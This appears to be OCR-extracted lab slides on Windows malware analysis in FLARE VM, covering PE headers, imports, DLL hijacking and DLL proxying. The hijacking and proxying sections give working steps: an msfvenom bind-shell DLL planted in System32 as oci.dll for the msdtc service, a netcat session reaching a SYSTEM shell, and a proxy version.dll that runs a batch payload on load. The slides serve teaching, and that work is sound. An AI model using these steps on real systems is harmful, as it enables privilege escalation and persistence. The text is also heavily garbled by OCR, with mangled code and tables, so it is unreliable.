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Developed by
flarevm@fireeye.con

FLARE (FireEye Lsbs Advanced Reverse Engineering)

Welcome to FLARE VM - a fully customizable, Wincdcws-based security distribution for

malware analysis, incident response, penetration testing, eic.

Please see nttps://www fireeye.com/blog/threat-research/2018/11/flare-vm-update.html for

a blog on installing FLARE VM.




PE Headers



~2_PEview - Chpe\ bl s
Fle Vview Lo Fep
00 Ge|[|IIFH|E==

= hello.axe pFile Data Description Value
IMAGE_DOS_HEADER 00DOODO0 5a4D Sagnature IMAGE_DOS_SIGNATURE M2
-M3-LOS Stub Pregram g000LDOL 0090 Bytes on Last Page of File
L) IMAGE_NT_HEADERS g00CL0OA 0003 Payes in File
. Signdlure 000000006 0000 Relocalions
-~ IMAGC FILC IICADCR 0000000& 0004 sizc of neader in raragraphs
L L TMAGE _OPTTONAI _HFADCR a0na000A 0000 Minimum rxtra raragraphs
- IMAGKF_SFC T TON_HFADFR . Text a000000 FREF Maximum kFxtra Paragraphs
;--IMAC-E_SECTION_HEAD-ER .rdata 00DOODOE 0000 Init-al (relative) S5
- IMAGE_SECTION_HEADER .data 00DOODLO DDB& Init-al SP
- IMAGE_SECTION_HEADER .gtids 0000u01: 0000  Checksum
- IMAGE_SECTION_HEALCER .reloc g000uo14 0000 Inilal IP
- SECTION . Llexl 00000016 0000 Inil al (relalive) Cs
9-SCCTION .rdata 0000001¢& 0040 offset to Relocation Table
. LTMPORT Address Table annaont A 0000  overlay Number
= IMAGF _DFBUG_DIREC TORY a00a001¢ 0000  Reserved
~ IMAGE _LOAD_CONF1G_DLIRECTORY 0000001 0000  Reserved
- IMAGE_DEBUG_TYPE_ 00000020 0000  Reserved
- IMPORT D rectory Table 0000uD22 0000  Reserved
- IMPORT Name Table 00000024 0000 OEM IdenlLil ‘er
- IMPORT Hinls/Names & DLL Names 000C002C 0000  OEM Inflormalion
' SECTION .data 00000028 0000  Reserved
L-STCTTON - gfids ano0aon2a 0000  Rescrved
@-HSFCTTON _relonc an0an0n2¢ noan Reserved
0000002k N0aQ0n Reserved
00DOOD30 00ao Reserved
00000032 0000  Reserved
00000034 0000 Reserved
00000036 0000  Reserved
00000038 0000  Reserved
Q0Da003A noan Rescrved
an0aon3c 0000001 & offsetr to New | X1 lieader

Viewing MASE_DOS_HEADER



&OIIyDbg - hello.exe - [Memory map]

ﬂ'File View Debug Plugins Options Window Help

Elx| »

| W #2 34 =] =

- & x|

Address

Si1ze

Owner

L] E|m| w1 c| 7| K| B| .. s B

Section

Contains

01160000
91161000
01171000
01178000
01170000
01178000

00001000
00010000
00007000
00002000
00001000
00001000

hello
hello
hello
hello
hello
hello

.text
.rdata
.data
.gfids
.reloc

PE header

code
1mports
data

relocations

Program entry point

| ‘ Paused



L PEview - Clpeihello.ees
file View Gn Frip

W00 | IMEYH we

=-hella. exe
.- IMAGE_DOS_HEADER
. M5-D0OS Stub Pragram
= IMAGE_NT_HEADERS
© ! signature
. IMAGLC _FILC_JICADCR
© .IMAGE UPI1UNAL HEADEK
- TMAGE_STCTTON_IFARIR . Lex|
- IMAGE SECTION HEACER .rdata
" TMAGF_SFCTTON_HFARFR .dala
- IMAGE_SECTION_HEADER .gfids
. TMAGF_SFCTTON_HFARFR .relar
- SCCTION .text
= SECIION .rdata
B8 TVPORT Address Tablcl
- IMAGE DEBUG DIRECIORY
L TMAGE _I DAD_CONF TG_DTRICTORY
- IMAGE _DEBUG_TYPE_
. TMPORT Directory Table
.IMPORT Name Table
. ' IMPURI Hints/Names & DLL Names
- SCCTION .dala
- SECIION .gfids
i STCTTON . rel o

Viewng MPORI Addiess Table

prile
0000FEDQ
OO0ODFFDA
OODDFEDNS
0000FEDC
0000rclo
0000FE14
o000rri g
0000FELC
OO00DFF 20}
O00DFE 24
OODDFF 28
0000rc2c
0000FE 30
0000rc3s
0000FE 38
0000rr3c
0000FE4(Q
OO0DFFA4
O0DDDFE4S
D000k EAC
0000rcHio
0000k 54
0000rrs3
0000FESC

OODDFF 60
<

Dala
00016cScC
O0016C76
0O0L6CEC
00016CA2
00016CBC
00016CD2
000160roH
00016002
0001620
QouloDs2
O0016DAF
00016D62
00016D76
QOOLODYS
00016pAd
000 16DR4
00016pcd
000 16ennc
OOOU1oDF4
Q0016E0C
0001oL 34
00016k40
0001or4r
00016ESC
OO0 TOFOO

Desoripl ion

Hint/Name
Hint/Nama
Hint/Name
Hint/Name
Hinl/Name
Hint/Name
Hinl /Name
Hint/Name
Hinl /Name
Hint/Name
Hint/Nam=
Hint/Name
Hint/Name
HinlL/Name
Hint/Name
Hinl /Name
Hint/Name
Hint/Nams
Hint/Name
Hint/Name
HinL/Name
Hint/Name
Hinl /Name
Hint/Name
Hinl /Nams

RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
VA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA

Value
042p
020A
020
0206
034e
0367
(1587
0543
(02RF
036D
0267
0209
0561
04AD
0250
050R
0125
03A2
0105
0318
0573
0575
0576
0574
019F

QueryfPerformancecCounter
GetCurrentProcessTd
GetCurrentThreadld
GetsystemlimeAskilelime
IniLializeSLis LtHead
lsbebuggerFresent
Unhandledxceplionfiller
setUnhandledexceptionFilter
GelSlarlupTnlow
IsProcessorFeaturerPresent
GetModuleHandlew
GetcurrentlProcess
lerminaterrocess
RLIUnwind

GetLastError

Sellasifrror
Entercriticalsection

| eavelriticalSection
DeleteCriticalsection

InitializeCLriticalsectionindspinCount

TisAl loc
ITseetvalue
T1sSelvValue
TIsFree
Freel ibrary




Importing DLLs



hellod.cpp - Notepad
File Edit Format View Help
#include <iostream>
using namespace Std;
void main()

printf("Hello! I use DLLs!\n");

Windows (CF Ln 1, Col1 100%

B Command Prompt

Microsott wWindows [Version 10.0.17763.1457
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\IEUser>cd Desktop

C:\Users\IEUser\Desktop>hello4.exe
Hello! I use DLLS!

C:\Users\IEUser\Desktop>

mautes after Doot statng the days left On the system tray)



Q. PEview - C\ s s\EUser Dasktapyh=lod so=

-~

file View 3So Fec

FNOOQO|Fm*#l|[m -

=-hellod . exe
- IMAGE DOS HEADER
- M5-D0S Stub Program
= TMACT_NT_IIFADTRS
-Signature
- IMACC_FILC_IICADCR
- IMAGE OFTIONAL HEADER
CIMAGE_SECTLON_HEADER . text
- TMACT_SFCTTON_ITADIR . rdala
- IMAGE_SECTION_HEADER .data
- TMACT_SICTTON_ICADIR . gfids
- IMAGE SECTION HEADER .reloc
S SECTLON . text
J SFCTTON . rddl 4
-~ TMACT _DF RUG_NTRICTORY
¢ IMAGE LOAD CONFIG DIRECTORY
-~ IMAGE _DEBUG_| YPE_
- IMPORT Direclory Table
- IMPORT Name Table
L L TMPORT 1ints/Names & ni
. SECTION .data
- SECTLON .gfids
i SECTION .reloc

Names

Yiewing IMPURT &-idress Iabls

0 Yo LR R R by 1N

pFile
DUOUFEDD
NON0FEDS
Na0OrrD’
QUDOFEDC
0CNOrc1lo
DUOUFELA
NONOFELS
oaoorric
QUDOFE20D
nanorr 24
DUOUFEZS
NDONOFE2C
OGDOFE 30
QODOFE34
Na00rr 38
QUDOFE3C
NODOFE4D
DUOUFEN]
QODOFE43
NaNOrr4c
QODOFESD
NO000FES4
DUOUFEDS

<

pata
D0016COC
NDON16C8H
DO016c9c
000l16eCB2
NDO016cccC
DUO16CE?2
NDOD16CKH
DOOoIan1 ?
0001eD30
DO016n4?
DUO16DSE
ND0016L7 2
DOOT6EN&G
00016DAS
DO016nR4
00016DCA
00016LL4
DUO16DEC
D0O016EQ4
pooéric
D0016E44
DO016LS50D
DUO1GESE

-~ -~ -

Description

Hinl/Name
Hint/Name
IHint/Name
Hint,/Name
I1int/Name
Hinl/Name
Hint/Name
Hint /Name
Hint,/Name
Iint/Name
Hinl/Name
Hint/Name
Hinl /Name
Hint/Name
Iint/Name
Hint,/Name
Hint/Name
Hinl/Name
Hint,/Name
Iint/Name
Hint,/Name
Hint/Name
Hinl/Name

RVA
RKVA
RVA
RVA
RVA
RVA
RKVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA
RVA

value
012D
020A
0?20r
02e6
034s
U367
0582

1944
02BE
N36n
0267
0209
1561
04AD
0250
0308
0125
U3ng
01053
0348
0573
0575
U570

o~

CQueryPerlormanceCounler
GetL_urrentProcesslid
GetcurrentThreadTd
GetSystemT-meAsFileTime
InitializesSListiicad
I-DebuggerPresentl
Unhandledexceptionk- 1ter
SeltinbandledfxceptionfCilter
GetStartupInfolw
TsProcessorfreaturePresent
Ge LModu leHand lew
Get_urrentProcess
Termindl sPror ess,

Rt1Unwind

Getl astrrror

SetLastError
Entercriticalsection
LeaveCrilicalSeclLion
DeleteCrit-calSection
TnitializecriticalSectionAndsy

TisAlloc

ITsGetvalue

TluSelValue




-2 PEv ew - C\Users\IEUser\Desktopilellod.exe
Fle View 35S0 Help

SR ECIE L AR

=helled . exe
S IMAGE _DOS_HTE ADER
M5 DOS Stub I'rogram
 IMAGE NT HEADERS
- ! signature

.. IMAGE_FILE_HEADER

- IMAGE_OPTIONAL _HEADER

-~ IMAGE_SECTION_HEADER
-~ IMAGE_SECTION_HEADER
- TMAGF_SFCTTON_HFADFR
S INMAGE SO TTON_TIE ADE R

- IMACL SLCITLON HLADLR
'\ SECTION .tText
- SECTION
.+ IMPORT Address Table
- IMAGE_DEBUG_DIRECTORY
- IMAGE_LDAD_CONFIG_DIRECTORY
. IMAGE_DEBUG_TYPE_

- TMPORT

S IMPOR
C IMPOR
© SECTION
'\ SECTION
+-SECTION

.text
.rdata
.data
.gfids
.rcloc

NDirectory Tahle

Hmints/Namcs & DLL Names

D000 | AC
0000 LBO
D00C0FEBA
D000FEBS8
D000FEBC
DOOUFECO
DOOUFEC4
DOOCOFECS
DOOCGFFCC
D000 1 DO
00001 L4
0000FEDS
D000FEDC
DO0CFEEOQ
DOOUFEE4
DOOUFEES
DOOCOFEEC
DOOOFFFO
D000 11 4
000CI LI &
D000FEFC
0000FF0O
DOOCFF 04

NData
Q00161 Al
000161 BA
00016FCE
00016FCE
00016FFO
UOD1OFFC
00Dl 008
00DL7022
Q00 1703C
0017056
00017066
00017Q7&
00017080
0001709
U0OD1/0AE
gonl/0co
00DL70CC
Q001 70nA
Q0017011
000170IL
0001710cC
0001711cC
00000000

Descr-

Nt /Name
Iint/Name
Hint/Name
Hint/Name
H nL/Name
H nL/Name
H nt/Name
H nt/Name
H nt /Name
Iint /Name
Iint/Name
Hint/Name
Hint/Name
H nL/Name
H nL/Name
Hant/Name
H nt/Name
Hant /Name
Inint/Name
Iint/Name
Hint/Name
Hint/Name

End of Imporls

0168
016D
017D
0372
0236
U183
022/
019D
(04FD
03?22
02¢5
02a2
0192
01pcC
U1EE
Uij8
0336
(04FD
0310
00cC2
00FE
0440

IindClase
Iindiirstli T TeLxA
FindNextFileA
IsvalidCodePage

Ge LOEMCFP

GelCPInlo
GetEnvironmentStringsw
FreeEnvironmentStringsw
SetFnvironmentVariahleA
serstdilandle
cetstringlypew
GCetProcescHeap
FlushFileBuffers
GelConsouleCP

GelConso leMode
Heap5Size

HeapReAlloc
SetFlePointerFx
wrireC ansnlew

Createl ilew
CecodePointer
RaiceException

KERNEL3Z.d71

Viesrng IMPORT Addi=s Tehle

<




DLL Hijacking



File

= [ =

Action Vien Help

o= HE » 8o wn

. Services (Lozel)

. Sarvices (Loca)

Stop the service
Restar: the sarv ce

Daccrintion:

coordirates transzctions that
span multiole resousce managers,
such as dalabases, ressage
queces, and file systevs If this
service is stoppad, these

AL L AL

Distributed Transaction Coordinator

A

v

Name

-\‘_\'/E Diagnosti- Service =t

‘0 Diagnostiz System Host

-5 Display Enhancemert Sarv c2

L) Distribted Lirk Trzccing Client

n Distribated Trensaction Coordinator
154 DNS Client

"0 Downloaced Maps Manager

G Embedded Moce

CL Ercypting F le System (EXS)

Description
ThaMagnos
Thz Diagnos..
A sevicefor .
Maintans ..
Coo-cinates ..
Tha DNS Cli..
Windows cer..
Thez Embradd..
Provides the...

Statuc

R.nning

Ranning
Ranning
Ranning

Stzrtup Type
Marua

Marua

Marua (Trigc...

Automatc

Marua

Automatc(ri.
Automat c (De..
Marua (Trige..
Marua (Trigc...

-0g On A

ora Service
-oca System
-0ca System
-oca System
Netvrork Se..
Netwvicrk Se.
Netwerk Se..
-Uta Syslern
-oca System

\ Extendec J.-'; Stadard /




2 Process Explorer - Sysinternals: www.sysinternals.com [MSEDGEWIN10\IEUser] (Administrator)

File Options View

d&EENCO@3FRXAD |
CPU  Private Bytes
14,868 K

Process
‘B svchost.exe
‘m svchost.exe
‘B svchost.exe
svchost.exe

svchost.exe
svchost.exe

"
;'0
"
"

Name
Nmsvep_win.dll
msvert.dll

M mswsock. dll
mixclu.dll
mtxoci.dll

 netutils dil

| nsi.dll

ntdll.dll

ntmarta.dll

ole32.dll
oleaut32.dll

j R00000000000¢.clb
resutils.dll

rpert4 dil

sechost.dll
SortDefault.nis

saniclidll ___ Securitv Sunnort Provider Interface  Micrmsoft Carnoration  C-\Windows\Svstem32\ssnicli dll

Process Find DLL Users Help

| =

i |

U

Description

Microsoft® C Runtime Library
Windows NT CRT DLL

Microsoft Windows Sockets 2.0 Se...
Microsoft Distributed Transaction ...
Microsoft Distributed Transaction ...

Net Win32 AP| Helpers DLL
NSI User-mode interface DLL
NT Layer DLL

Windows NT MARTA provider
Microsoft OLE for Windows
OLEAUT32.DLL

Microsoft Cluster Resource Utility ...

Remote Procedure Call Runtime

Host for SCM/SDDL/LSA Lockup A...

Working Set
23,000 K
11,448 K
9,720 K
5,880 K
11,296 K
7,640 K
7,308 K

2,800 K
2176 K
1,496 K

1472K
1,728 K

PID Description

7088 Host Process for Windows S...
7744 Host Process for Windows S...
7944 Host Process for Windows S...

176 Host Process for Windows S...
5144 Microsoft Distributed Transa...
2420 Host Process for Windows S...
7336 Host Process for Windows S...

Company Name

Microseft Corporation
Microseft Corporation
Microseft Corporation
Microseft Corporation
Microsoft Corporation
Microseft Corporation
Microseft Corporation

Company Name

Microsoft Corporation
Microsoft Corporation
Microseft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microseft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Microseft Corporation
Microsoft Corporation
Microseft Corporation

Path

C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvert.dll
C:\Windows\System32\mswsock.dll
C:\Windows\System32\mtxclu.dll
C:\Windows\System32\mtxoci.dll
C:\Windows\System32\netutils.dll
C:\Windows\System32\nsi.dll
C:\Windows\System32\ntdIl.dIl
C:\Windows\System32\ntmarta.dll
C:\Windows\System32\ole32.dlI
C:\Windows\System32\oleaut32.dll
C:\Windows\Registration\R00000000000¢.clb
C:\Windows\System32\resutils.dll
C:\Windows\System32\rpcrt4.dll
C:\Windows\System32\sechost.dll
C:\Windows\Globalization\Sorting\SortDefault.nls

CPU Usage: 3.88% Commit Charge: 46.80% Processes: 128 Physical Usage: 50.67%




.
—F Process Manitor -

weartarrale wew -.l)‘u'nh--r\nlg com

Tile Edit Eyert Tilter Tools Options Hels

CHIPETLDE A XRLIN

Time of Day Process Name PID Operatiaon Path Result
3:40:17.337308... J-msdtc.exe 5144 3 cCloseFile C:\Windows\sSystem32\mtxoci.dl] SUCCESS
3:40:17.338466..., msdtc.exe 5144 3.CreateFile C:\Windows\System32\oci.d11 NAME NOT FOUND
3:40:17.346635... ., -msdtc.exe 5144 S.ReadFile C:\Windows\system32\msdtctm.dl 1 SUCCESS

Creating a Malicious DLL

In the Administrator Command Prompt window, in your Downloads folder, execute this command:

C:\metasploit-framework\bin\msfvenom -p windows/x64/shell bind_tcp -f dll -o shellbind.dll

Positioning the Malicious DLL

In the Administrator Command Prompt window, in your Downloads folder, execute these commands:

net stop msdtc
copy shellbind.dll c:\windows\system32\oci.dll

ne 1aTL0.1 4444

Microsoft wWindows [version 10.0.17763.1457]
(c) 2018 Mmicrosaoft Corporation. All rights reserved.

C:\Users\IEUser>nc 127.0.0.1 4444
Microsoft windows |[versiaon 10.0.17763.1457]

(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami

whoami

nt authority\-

C:\wWindows\system32:




DLL Proxying



2 Process Monitor - Sysinternals: wwasys ~ternals.corr

[ie Edit Eyent Tilter Tools Qptions Hel:=
EFE AZETAS AT B AT
Time of Day Process Name PID Cperation
:02:32.61. .. MBginfobd.exe 9808 HCreateFile
:02:32.61. .. Frginfobd . cxe 9808 Jcreaterile
:02:32.61. .. MBginfobd.exe 9808 $QueryBasicInfor...
:02:32.61. .. FRginfobd.cxe 9808 JcloseFile

:32.61. .. MBginfob4.exe 9808 4 CreateFile
.61. .. Frginfosd.cxe 9808 JcreaterileMapping
.01... MBginfobd.exe 9808 $.CreateFi leMapping
61, .. Brginfobd . cxe 9808 1l oad Tmage
.01. .. MBginfobd.exe 9808 4. CloseFile

ath Result
\Users\IEUser\Desktop\dllproxy\VERSION.d]] NAME NOT FOUND
\windows\System3?\version.dl] SUCCFSS
\Windows\System32\version.dl1 SUCCESS
\windows\System3?\version.dl] SUCCFSS
\Windows\System3Z2\version.dll SUCCESS
:\windows\System3?\version.dll] FTIF | OCKFD WTTH
\wWindows\System3Z\version.dl] SUCCESS
\windows\System3?\version.dll] SUCCFSS
\Windows\System3Z\version.dl] SUCCESS

SRISKRISRSK
NTNOTNONTNNTN g

>

at 622607 events (0.00°2%) Tarked hy virlual memary

B Adrmunstrator: Command Promgt

c:\Users\IEUser\Desktop\dllproxy>C:\metasploit-framework\bin\msfvenom -p

windows/x64/shel l_bind_tcp LPORT=4445 -f dll -o version.dl]l

C:/metasploit-framework/embedded/11b/ruby/gems/2.6.0/gems/rex-core-0.1.13

/1ib/rex/compat.rb:376: warning: win32APlI 15 deprecated after Ruby 1.9.1;
use fiddle directly instead

(-] No platform was selected, choosing Msf::Module::Platform: :Windows fro

m the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 505 bytes

Final size of dll file: 5120 bytes

Saved as: version.dll

c:\Users\IEUser\Desktop\dl |lproxy>_




c:\Users\IEUser\Desktop\dllproxy>netstat -an more
Active Connections

state

LLSTENLNG
LLSTENLNG
LLSTENLNG
LISTENING
LTISTENING
LISTENING
LISTENING
LISTENING
LISTENING

M
P>
o
o
3
M
N
n

Address
.0:135
.0:445
.0:5040
.0:5985

Proto |
0
0
0
0
.0.0:7680
0
0
0
0

CP
CP
CP
TCP
TCP
TCP
TCP
TCP
TCP

oCa

COCCOOOOo0OoON

.0:47001
.0:49064
.0:49066)>
.0:490066

coccoooo0or
cccoooooon
cccooo0on

FHARCTASE AN ZBLTEN
Time ol Day Process Name PID OperatLion PaLh Resull
:15:10.86. .. TJBginTob1.exe 106764 CreateFile C:\Users\IEUser\Desktop\d! Iproxy\version. SUCCESS
:10.86. .. HRginfo6d.exe 10676 FqueryBRasicTnfor. .. C:\users\Truser\nesktop\d1Iproxy\versiaon. SUCCFSS
.86. .. UBginfo6d4. . exe 10676 Closerile C:\users\Ltuser\pDesktop\dlIproxy\version. SUCLESS
.86...0)BginTob1.exe 106764 CreateFile C:\Users\IEUser\Desktop\d! Iproxy\version. SUCCESS
C
C
C
C

ShhSE

A6, .. HRginfofd.exe 10676 CreaterileMapping C:\Users\Truser\nesktrop\dl Iproxy\version. FTIF 10CKFD WTTH
.86. .. 0Bginfo64. . exe 10676 Createrilemapping :\users\Leuser\pesktop\dllproxy\version. SUCLESS
.860...0JBgiIinTob1.exe 106/657Load Image \Users\IEUser\Desktop\dllproxy\version. SUCCESS
A6, .. HRginfofd.exe 10676 G CloseFile \users\Truser\nesktop\d1 Iproxy\versiaon. SUCCFSS

kR
acascaac

— )l )l - —)
el - — —

—_
~J

Rginf~h4 exe - Applicatian Frmr »

Thwe applecaticn was unzbe (o slerl conectly (0x00000070). ek O«
to close the appl cation,

:howmg 8 of 254,685 events (LC31%9) DULATU Wy #TILUW IS g




Building a DLL Proxy

ﬂULL Export Viewer - C\Wirdows\system3Z2\ve-sior.dl
File Edit Vew Ogtions Help

DB 2 ya

Funclion Narre

LB GelRleVersioninfoA

0 SetFileVers onInfoByHandle
O GetFileVers oninfoExA
© GeltRleVersouninfuExW

) SetFileVers onInfoSizeA
O GetFileVers oninfoSizeExA
@ GelRleVers unlnfuSizeExW

o GetFileVers onInfoSizeW

O GetFileVers onInfoW

© VerFindFlea
O VerFindFlew

O VerlrstallFileA
& VerlrstallFile\V

2 VerQueryVelueA
@ VerQueryValueW

© VerLanguageNamcA

O VerLanguageNameW

0>00000001820...
Ox00000001220...
Ox00000001820...
0,00000001820...
Ox00000001220...
O00000001820...
0>00000001820...
0»00000001820...
Ox00000001820...
0»00000001820...
0»00000001820...
O»00000001820...
0»00000001820...
KERNEL32 VerL...
KERNEL32 VerL...
0»00000001820...
0>00000001220...

Relalive Address

0x0C0C1080
OxDC0C2190
OxDCOC1df0

0xDC0C1040
OxDCOC1010
OxDCOC1e00
0x000C1050
OxDC0C1060
OxDCOC1070
OxDCOC1e10
OxDC0C2:60
OxDCOC1e20
0xD00C2f8C

OxDCOC4ddc:
OxDCOC4e07
Ox000C 1020
000001020

Ordingl

2 ((n2)

3 (3)

4 (Dx4)

5 (x5)

3 (OnB)

7 (0x7)

3 (O8)

3 (0)
10 (Cxa)
11 (Cxk)
12 (Cxc)
13 (Cxc)
14 (Cxc)
15 (Cxf)
16 (Cx10)
17 (Cx11)

Filename

version.dll
version.dll
version.dl|
version.dll
version.dll
version.dll
version.dll
version.dll
version.dll
version.dll
vercion.dll
version.dll
version.dll
version.dll
version.dll
version.dll

version.dll

Full Path
CA\Windows\system32iversion.dll

C\Windows\system32\version dll
C\Windows\sysiem32\version.dll
C\Winduws\sysiem32\version.dll
C\Windows\system32\version.dll
C\Windows\sysiem32\version.dl|
C\Windows\sysiem32\version.dll
C\Windows\gystem32\version.dll
C\Windows\system32\version.dll
C\Windows\system32\version.dll
C\Windows\zystem32\version.dl|
C\Windows\system32\version.dll
C\Windows\system32\version.dll
C\Windows\system32\version.dll
C\Windows\system32\version.dl|
C\Windows\system32\version.dll

C\Windows\system32\version.dl|

Expourted F...
Exported F...
Exported F...
Expurted F...
Exported F...
Exported F...
Expurled F...
Exported F...
Exported F...
Exported F...
Exported F...
Exported F...
Exported F...
Exported F...
Exported F...
Exported F...
Exported F...

17 Furctions. 1 Selectec




| dlimaincas - Notepad

File Edit Formet View Helg

pragma

once

// BEGIN: cxport directives for the |linker
// INSERT pragma.txt contents here

pragm4
pragma

// FND:

commentglinker,"/export:GetFileVer51onInfoA-version_orig.GetFi1eVersionInfoA,@l")

comment linker."/export:GetFileVersionInfoByHand1e=vers1on_orig.GetFi]eVersionInfoByHand]e,@Z")
comment (linker," /expart :GetFileversiaonTnfoFxA=version_arig.GetFileversionTnfoFxa,@3™)
commentglinker,"/export:GetFileVer51onInfoExw-version_orig.GetFi1eVersionInfoExw @ar")
comment(linker,"/export:GetFileversionInfosizeA=version_orig.GetFileversionInfosizeA,@5")
comment (linker," /expart:GetFileversiaonTnfoSizeFxA=version_orig.GerFileversionTnfoSizeFxA,@s")
comment(linker,"”/export:cetrileversioninfosizeexw-version_orig.cetrileversioninfosizerxw,@7")
comment(linker,"/export:GetFileversionInfoSizew=version_orig.GetFileversionInfoSizew,@8")

comment(linker,"/export:GetFileversionInfow=version orig.GetFileversionInfow,@9")

comment(linker,"/export:verFindrilea=version_orig.verrFindrilea, @10")
commcnt(l1nkcr,"/cxport:Vch1ndF1lcwsvcrs1on_orlq.Vch1ndF11cw1@11")

comment(linker,"/export:verInstallFileA=version orig.verInstallFileA,@12")
comment(linker,"/export:verinstallFilew=version_orig.verIinstallFilew,@13")
commentglinker,"/export:VerLanguageNameA-version_or1g.VerLanguageNameA,@14"%
comment(linker,"/export:verLanguageNamew=version_orig.verLanguageNamew,@15"
comment (linker," /expart :verQueryvalueA=version_orig.verQueryvalueA,@16")
comment(linker,"”/export:verqQueryvaluew-version_orig.verQueryvaluew,@17")

export directives for the linker

jnc]udc <windows.h>
include <string>
include <atlstr.h>

Windows (CRLF) Lr 7, Col 69



|dlimain.cpp - Notepad
File Edit Format View kclp

int Exploit()

// Create the command line

std::wstring fullpath(TEXT("cmd.exe /C \""));
fullpath += ThisDlIpirPath();

fullpath += std::wstring(TeEXT("payload.bat\""));
TCHAR * fullpathwc = (wchar_t *)tullpath.c_str();

J/ start a new process using the command line

STARTUPINFO info = { sizeof(Cinfo) };

PROCFSS_TNFORMATTON processTnfo;

createprocess(NUI 1, fullpathwc, NUil, NUII, TRUF, CRFATF_NFFAUI T_FRROR_MODF, NUII, NUII ,

vinfo, &processTnfo);

return 0;

}

BOOL WINAPI DITMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{

switch (fdwReason)

1

case DLL PROCESS_ATTACH:
Exploit();
break;

casc DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS_DETACH:
break;

return TRUE;

Windows (CR F) In5, Col 65
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| payload.bat - Notepad

File Edit Format View Help
echo 1 > c:\users\ieuser\desktop\pwned. txt

Edit

=

W

dliimaincpp® # X

] version
Hp
[/
/7

Q;p ~

View

rdgme

Projec:

Build  Debug

(Globel S

once

Tes:

Windows (CRLF) Ln 2, Col 1

Analyze Tools Extensions Window Hep  Search (Coli Q)

P Local Windows Debuggar * 5

cope)

BEGIN: 2xport directives for th2 lirker
THSFRT nragma.txt contents Fere

dfMhes

ragme

ragme

tprdgiic

)Irdgmic
fpragme
Hragms

fpragms

’;p ~
Q;p ~

dfMs

JEMC

comment (linker," /export:
comnent (1linker,"/export:
comnent(liaker,"/export:
comment(linker,"/export:
comment(linker,”/export:
comnent(linker,”/export:
comnent (1inker,” /export:
comnent (linker," /export:
comment (linker," /export:
comnent (1linker,"/export:

@ Noissaes found El

Entire Solution

Search Erro- List

v €30 of 4 Errors 1

Cescription

Crror List RN

0 'Narings

GetFileVersionInfol=vercion_ orig.GetFileVersionInfol,@1")
GetFileVersionInfo3yHarcle=version_orig.GetFileVersionlrfoB,
GetlrileVersionInfolxA-version_orig.GetlileVersicnInfolxA,@d'
GetFllevVersionInfoExW=version orig.GetFileVarsionInfobxW,nd’
GetFileversionlnfoSizeA=version oriz.cetFilz2YersionInfosize!
GetFileversionlnfosizeexA=varsicn orig.cetFileVersion_nfosSi:
GetFi leVersionTnénSi reFxl=var<ion_orig.GetFileVersian ntaSi:
GetFileVersionInfoSizeW-version _orig.GetFilaVersionInfoSizel
GetFileVersionInfoW=vercion_ orig.GetFileVersionInfoW,@o")
VerFincFileA=version_orig.VerFirdFileA,@10")
r : Ch:2

O 2 Messages Euild Only

*r

Prcject File

100%

version O *

a] v 12 LiveShare ¥

pe—
Search Solution Explorer [Ctri+))

m Solution ‘'varsion’ |1 af 1 projerct)
4 |% version
P =B References
P Im External Depencencies
Headar Files
Rezovrce Files

Source Files

TGRP\F{FLj%W

Salution Explarer

Progerties

f Addto Source Control » 2,




Administrator: Command Prompt

c:\Users\IEUser\Desktop\dl lproxy>del c:\users\ieuser\desktop\dllproxy\
version.dl |

c:\Users\IEUser\Desktop\dllproxy>copy c:\windows\system32\version.dll
C: \users\1euser\desktop\d11proxy\vers1on orig.dll
1 file(s) copied.

c:\Users\IEUser\Desktop\dl Iproxy>copy C:\Users\IEUser\source\repos\ver
S}?n\x64\Re1ease\vers1on dl1 c:\users\ieuser\desktop\dllproxy\version.
d

1 file(s) copied.

c:\Users\IEUser\Desktop\dl lproxy>_




c:\Users\TEUser\Desktop\dl lproxy>Bginfao64.exe
c:\Users\IEUser\Desktop\dllproxy>

& Process Monitor - Sysintenrels; www.sys nternals.com

File Edit Event Filter Tools Optons Help
FHRABTTAQER AN HB AN
Iime of pay Process Name PLD Operation Path

137:07.132...1Bginfo61.exe 10723 Createtrile c:\users\1ruser\pesktop\dllproxy\version.
:37:07.432. . . [@WBginfobd _exe 4072 B QueryBasicInfor... c:\Users\IEUser\Desktop\dlIproxy\version.
:37:07.432 .. . FRginfo6d .exe 4072 B CloseFile c:\Users\TFuser\Desktop\dlIproxy\version.
:37:07.432...FBginfob4.exe 4072 A CreateFile C:\Users\IEUser\Desktop\dI| Iproxy\version.
137:07.132...1Bginfo61.exe 1072 S CreaterileMapping cC:\Users\l1ruser\pesktop\dllproxy\version.
:37:07.432...mBginfo64.exe 4072 B CreateFileMapping c:\Users\IEUser\Desktop\dllproxy\version.
:37:07.437 .. . WRginfobd .exe 4072 51 oad Tmage c:\Users\TFuser\Desktop\dlIproxy\version.
:37:07.433... 2Bgintob4d.exe 4072 "} C:\Users\IEUser\Desktop\d!Iproxy\version.
137:07.434...HBginfob4.exe 40/2 A ClosceFile C:\Users\IEUser\Dcsktop\dlIproxy\version.
:37:07.434. .. 0Bginfo64.exe 40723 Closetrile c:\users\1ruser\pesktop\dllproxy\version.

Awned ryt

cocaico
- " fp—"fp—""
— e e e e

NANODS NN NN N

o
—
-

<

Shoaing 10 of 430 541 everts (J.0023%) 3ackad by virtual memory
Re-arm (Wirdows XP only). Note that no =rror is given in the case no rearms are left.




APl Monitor



(7~ X 3 | AnModules =
=" E] B Local File Systems A
- @-[J W pirectory Management
l @-[] . Disk Management
E] E] . File Management
i . D . Encrypted File System (EFS)
&[] . File System Redirector
[:] . Lempel-Ziv (LZ) Compression
=) [E] 1 Kernel32.dIl
------ -.[[] [Z] AreFileApisANSI
~~~~~~ D Z] Cancello
------ [:I =] CancelloEx
~~~~~~ EI E] CancelSynchronouslo
